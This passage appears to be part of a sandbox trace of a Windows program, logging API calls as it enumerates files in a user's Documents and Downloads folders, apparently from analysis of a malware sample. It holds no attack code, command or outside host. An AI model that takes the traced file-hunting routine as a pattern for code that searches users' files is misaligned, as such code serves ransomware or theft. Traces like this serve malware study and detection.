cFileName="F6Te.xlsx", cAlternateFileName="F6TE~1.XLS")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7d9270, ftCreationTime.dwHighDateTime=0x1d4cb59, ftLastAccessTime.dwLowDateTime=0x3ab1f880, ftLastAccessTime.dwHighDateTime=0x1d4d4b8, ftLastWriteTime.dwLowDateTime=0x3ab1f880, ftLastWriteTime.dwHighDateTime=0x1d4d4b8, nFileSizeHigh=0x0, nFileSizeLow=0xc26f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G75P.bmp", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f9261e0, ftCreationTime.dwHighDateTime=0x1d4d2f7, ftLastAccessTime.dwLowDateTime=0x20d8a710, ftLastAccessTime.dwHighDateTime=0x1d4d526, ftLastWriteTime.dwLowDateTime=0x20d8a710, ftLastWriteTime.dwHighDateTime=0x1d4d526, nFileSizeHigh=0x0, nFileSizeLow=0xde96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ilxSdGe1gMuCMD u.m4a", cAlternateFileName="ILXSDG~1.M4A")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5171b20, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0xa2441e90, ftLastAccessTime.dwHighDateTime=0x1d4c763, ftLastWriteTime.dwLowDateTime=0xa2441e90, ftLastWriteTime.dwHighDateTime=0x1d4c763, nFileSizeHigh=0x0, nFileSizeLow=0x16ca5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I_wqzl.wav", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b640f20, ftCreationTime.dwHighDateTime=0x1d4d3c1, ftLastAccessTime.dwLowDateTime=0x9a0390f0, ftLastAccessTime.dwHighDateTime=0x1d4c608, ftLastWriteTime.dwLowDateTime=0x9a0390f0, ftLastWriteTime.dwHighDateTime=0x1d4c608, nFileSizeHigh=0x0, nFileSizeLow=0xcb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kmiNoteKSNX.bmp", cAlternateFileName="KMINOT~1.BMP")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65b9600, ftCreationTime.dwHighDateTime=0x1d4cd93, ftLastAccessTime.dwLowDateTime=0x11f69860, ftLastAccessTime.dwHighDateTime=0x1d4c905, ftLastWriteTime.dwLowDateTime=0x11f69860, ftLastWriteTime.dwHighDateTime=0x1d4c905, nFileSizeHigh=0x0, nFileSizeLow=0xc9de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PbgTn4O2W.mp3", cAlternateFileName="PBGTN4~1.MP3")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafaab830, ftCreationTime.dwHighDateTime=0x1d4cc2e, ftLastAccessTime.dwLowDateTime=0xab88e520, ftLastAccessTime.dwHighDateTime=0x1d4d498, ftLastWriteTime.dwLowDateTime=0xab88e520, ftLastWriteTime.dwHighDateTime=0x1d4d498, nFileSizeHigh=0x0, nFileSizeLow=0x61cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q28Inf3N_0B4jbpxb7Nm.bmp", cAlternateFileName="Q28INF~1.BMP")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e8b1c0, ftCreationTime.dwHighDateTime=0x1d4c538, ftLastAccessTime.dwLowDateTime=0xf3bc0a50, ftLastAccessTime.dwHighDateTime=0x1d4d594, ftLastWriteTime.dwLowDateTime=0xf3bc0a50, ftLastWriteTime.dwHighDateTime=0x1d4d594, nFileSizeHigh=0x0, nFileSizeLow=0xcfa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sBE3Xge.mkv", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c47a450, ftCreationTime.dwHighDateTime=0x1d4ce35, ftLastAccessTime.dwLowDateTime=0x5a2c8ba0, ftLastAccessTime.dwHighDateTime=0x1d4c7af, ftLastWriteTime.dwLowDateTime=0x5a2c8ba0, ftLastWriteTime.dwHighDateTime=0x1d4c7af, nFileSizeHigh=0x0, nFileSizeLow=0xf458, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T-5.mkv", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54e610, ftCreationTime.dwHighDateTime=0x1d4c679, ftLastAccessTime.dwLowDateTime=0x47fa33b0, ftLastAccessTime.dwHighDateTime=0x1d4cd59, ftLastWriteTime.dwLowDateTime=0x47fa33b0, ftLastWriteTime.dwHighDateTime=0x1d4cd59, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ti-oi3g-0V2.gif", cAlternateFileName="TI-OI3~1.GIF")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6166710, ftCreationTime.dwHighDateTime=0x1d4d592, ftLastAccessTime.dwLowDateTime=0xd6730d90, ftLastAccessTime.dwHighDateTime=0x1d4c9cd, ftLastWriteTime.dwLowDateTime=0xd6730d90, ftLastWriteTime.dwHighDateTime=0x1d4c9cd, nFileSizeHigh=0x0, nFileSizeLow=0x1acf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W_6RWJXn.pdf", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa860f710, ftCreationTime.dwHighDateTime=0x1d4cc1a, ftLastAccessTime.dwLowDateTime=0x9885d7d0, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x9885d7d0, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xLckuuDeKXG", cAlternateFileName="XLCKUU~1")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c85c0, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0xc2171170, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc2171170, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x10719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zbn0rhaHx NfXQs.flv", cAlternateFileName="ZBN0RH~1.FLV")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c85c0, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0xc2171170, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc2171170, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x10719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zbn0rhaHx NfXQs.flv", cAlternateFileName="ZBN0RH~1.FLV")) returned 0 [0066.643] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.643] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.643] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0066.644] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.644] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.644] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.644] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.644] PathFindFileNameW (pszPath="") returned="" [0066.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96562880, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96562880, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.644] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96562880, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96562880, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x961f4c0, ftCreationTime.dwHighDateTime=0x1d53a10, ftLastAccessTime.dwLowDateTime=0x51cb77c0, ftLastAccessTime.dwHighDateTime=0x1d4de3c, ftLastWriteTime.dwLowDateTime=0x51cb77c0, ftLastWriteTime.dwHighDateTime=0x1d4de3c, nFileSizeHigh=0x0, nFileSizeLow=0xcbd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-p4ffBCma.pptx", cAlternateFileName="-P4FFB~1.PPT")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139b8b60, ftCreationTime.dwHighDateTime=0x1d4c029, ftLastAccessTime.dwLowDateTime=0x9df28890, ftLastAccessTime.dwHighDateTime=0x1d4f422, ftLastWriteTime.dwLowDateTime=0x9df28890, ftLastWriteTime.dwHighDateTime=0x1d4f422, nFileSizeHigh=0x0, nFileSizeLow=0x116a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1dRMBdJ8JilqvY.pptx", cAlternateFileName="1DRMBD~1.PPT")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x164c3aa0, ftCreationTime.dwHighDateTime=0x1d512b6, ftLastAccessTime.dwLowDateTime=0xe2f9b720, ftLastAccessTime.dwHighDateTime=0x1d4c0a5, ftLastWriteTime.dwLowDateTime=0xe2f9b720, ftLastWriteTime.dwHighDateTime=0x1d4c0a5, nFileSizeHigh=0x0, nFileSizeLow=0x17629, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2toarBW5rlEiNoO5.xlsx", cAlternateFileName="2TOARB~1.XLS")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5957ea60, ftCreationTime.dwHighDateTime=0x1d50564, ftLastAccessTime.dwLowDateTime=0xaea5f270, ftLastAccessTime.dwHighDateTime=0x1d53947, ftLastWriteTime.dwLowDateTime=0xaea5f270, ftLastWriteTime.dwHighDateTime=0x1d53947, nFileSizeHigh=0x0, nFileSizeLow=0x652c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5eg1.docx", cAlternateFileName="5EG1~1.DOC")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aeb50, ftCreationTime.dwHighDateTime=0x1d541e6, ftLastAccessTime.dwLowDateTime=0x5682ab00, ftLastAccessTime.dwHighDateTime=0x1d4dd3b, ftLastWriteTime.dwLowDateTime=0x5682ab00, ftLastWriteTime.dwHighDateTime=0x1d4dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x8f9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9oBPh66lU7Zt.pptx", cAlternateFileName="9OBPH6~1.PPT")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5834fc0, ftCreationTime.dwHighDateTime=0x1d4bb49, ftLastAccessTime.dwLowDateTime=0x5a8ef310, ftLastAccessTime.dwHighDateTime=0x1d4ba1e, ftLastWriteTime.dwLowDateTime=0x5a8ef310, ftLastWriteTime.dwHighDateTime=0x1d4ba1e, nFileSizeHigh=0x0, nFileSizeLow=0x13149, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BuZP.pptx", cAlternateFileName="BUZP~1.PPT")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63975fa0, ftCreationTime.dwHighDateTime=0x1d51a23, ftLastAccessTime.dwLowDateTime=0xc24ff120, ftLastAccessTime.dwHighDateTime=0x1d4dfe9, ftLastWriteTime.dwLowDateTime=0xc24ff120, ftLastWriteTime.dwHighDateTime=0x1d4dfe9, nFileSizeHigh=0x0, nFileSizeLow=0x7d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ckvWAPm3 YLx5ut.pptx", cAlternateFileName="CKVWAP~1.PPT")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318ee680, ftCreationTime.dwHighDateTime=0x1d53149, ftLastAccessTime.dwLowDateTime=0xb2b29200, ftLastAccessTime.dwHighDateTime=0x1d52728, ftLastWriteTime.dwLowDateTime=0xb2b29200, ftLastWriteTime.dwHighDateTime=0x1d52728, nFileSizeHigh=0x0, nFileSizeLow=0x10382, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c_0f9-L4gyuk6.xlsx", cAlternateFileName="C_0F9-~1.XLS")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bc506f0, ftCreationTime.dwHighDateTime=0x1d4f125, ftLastAccessTime.dwLowDateTime=0x93880fe0, ftLastAccessTime.dwHighDateTime=0x1d4fa37, ftLastWriteTime.dwLowDateTime=0x93880fe0, ftLastWriteTime.dwHighDateTime=0x1d4fa37, nFileSizeHigh=0x0, nFileSizeLow=0x98be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g7OWFNW_481.docx", cAlternateFileName="G7OWFN~1.DOC")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1fb4410, ftCreationTime.dwHighDateTime=0x1d512c3, ftLastAccessTime.dwLowDateTime=0xc7b63ad0, ftLastAccessTime.dwHighDateTime=0x1d4ed67, ftLastWriteTime.dwLowDateTime=0xc7b63ad0, ftLastWriteTime.dwHighDateTime=0x1d4ed67, nFileSizeHigh=0x0, nFileSizeLow=0xa6fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mKDXp.docx", cAlternateFileName="MKDXP~1.DOC")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1daecf40, ftCreationTime.dwHighDateTime=0x1d51baf, ftLastAccessTime.dwLowDateTime=0x55d6bfc0, ftLastAccessTime.dwHighDateTime=0x1d508ce, ftLastWriteTime.dwLowDateTime=0x55d6bfc0, ftLastWriteTime.dwHighDateTime=0x1d508ce, nFileSizeHigh=0x0, nFileSizeLow=0x1624, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t5djWBc.xlsx", cAlternateFileName="T5DJWB~1.XLS")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a7a67e0, ftCreationTime.dwHighDateTime=0x1d4d5bc, ftLastAccessTime.dwLowDateTime=0x5bd8fcb0, ftLastAccessTime.dwHighDateTime=0x1d53166, ftLastWriteTime.dwLowDateTime=0x5bd8fcb0, ftLastWriteTime.dwHighDateTime=0x1d53166, nFileSizeHigh=0x0, nFileSizeLow=0x1137e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VbVUQGncHIj1 ec.xlsx", cAlternateFileName="VBVUQG~1.XLS")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4986ef50, ftCreationTime.dwHighDateTime=0x1d51775, ftLastAccessTime.dwLowDateTime=0xb0bd4c90, ftLastAccessTime.dwHighDateTime=0x1d4ce92, ftLastWriteTime.dwLowDateTime=0xb0bd4c90, ftLastWriteTime.dwHighDateTime=0x1d4ce92, nFileSizeHigh=0x0, nFileSizeLow=0xe4bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xCUGudyvE2cZEXnf.docx", cAlternateFileName="XCUGUD~1.DOC")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294de6d0, ftCreationTime.dwHighDateTime=0x1d52963, ftLastAccessTime.dwLowDateTime=0x4c9e97a0, ftLastAccessTime.dwHighDateTime=0x1d53d69, ftLastWriteTime.dwLowDateTime=0x4c9e97a0, ftLastWriteTime.dwHighDateTime=0x1d53d69, nFileSizeHigh=0x0, nFileSizeLow=0xb75c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yB1sPauX7FL.docx", cAlternateFileName="YB1SPA~1.DOC")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ff0450, ftCreationTime.dwHighDateTime=0x1d4cf47, ftLastAccessTime.dwLowDateTime=0xc35fbe10, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc35fbe10, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yiub", cAlternateFileName="")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d513b0, ftCreationTime.dwHighDateTime=0x1d54303, ftLastAccessTime.dwLowDateTime=0xcdfca240, ftLastAccessTime.dwHighDateTime=0x1d4e613, ftLastWriteTime.dwLowDateTime=0xcdfca240, ftLastWriteTime.dwHighDateTime=0x1d4e613, nFileSizeHigh=0x0, nFileSizeLow=0x405c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yjqyP77NFy.xlsx", cAlternateFileName="YJQYP7~1.XLS")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d513b0, ftCreationTime.dwHighDateTime=0x1d54303, ftLastAccessTime.dwLowDateTime=0xcdfca240, ftLastAccessTime.dwHighDateTime=0x1d4e613, ftLastWriteTime.dwLowDateTime=0xcdfca240, ftLastWriteTime.dwHighDateTime=0x1d4e613, nFileSizeHigh=0x0, nFileSizeLow=0x405c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yjqyP77NFy.xlsx", cAlternateFileName="YJQYP7~1.XLS")) returned 0 [0066.645] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.645] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.645] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d068 | out: hHeap=0x5d0000) returned 1 [0066.645] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.645] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0066.645] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.645] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.645] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.645] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.645] PathFindFileNameW (pszPath="") returned="" [0066.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.646] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, 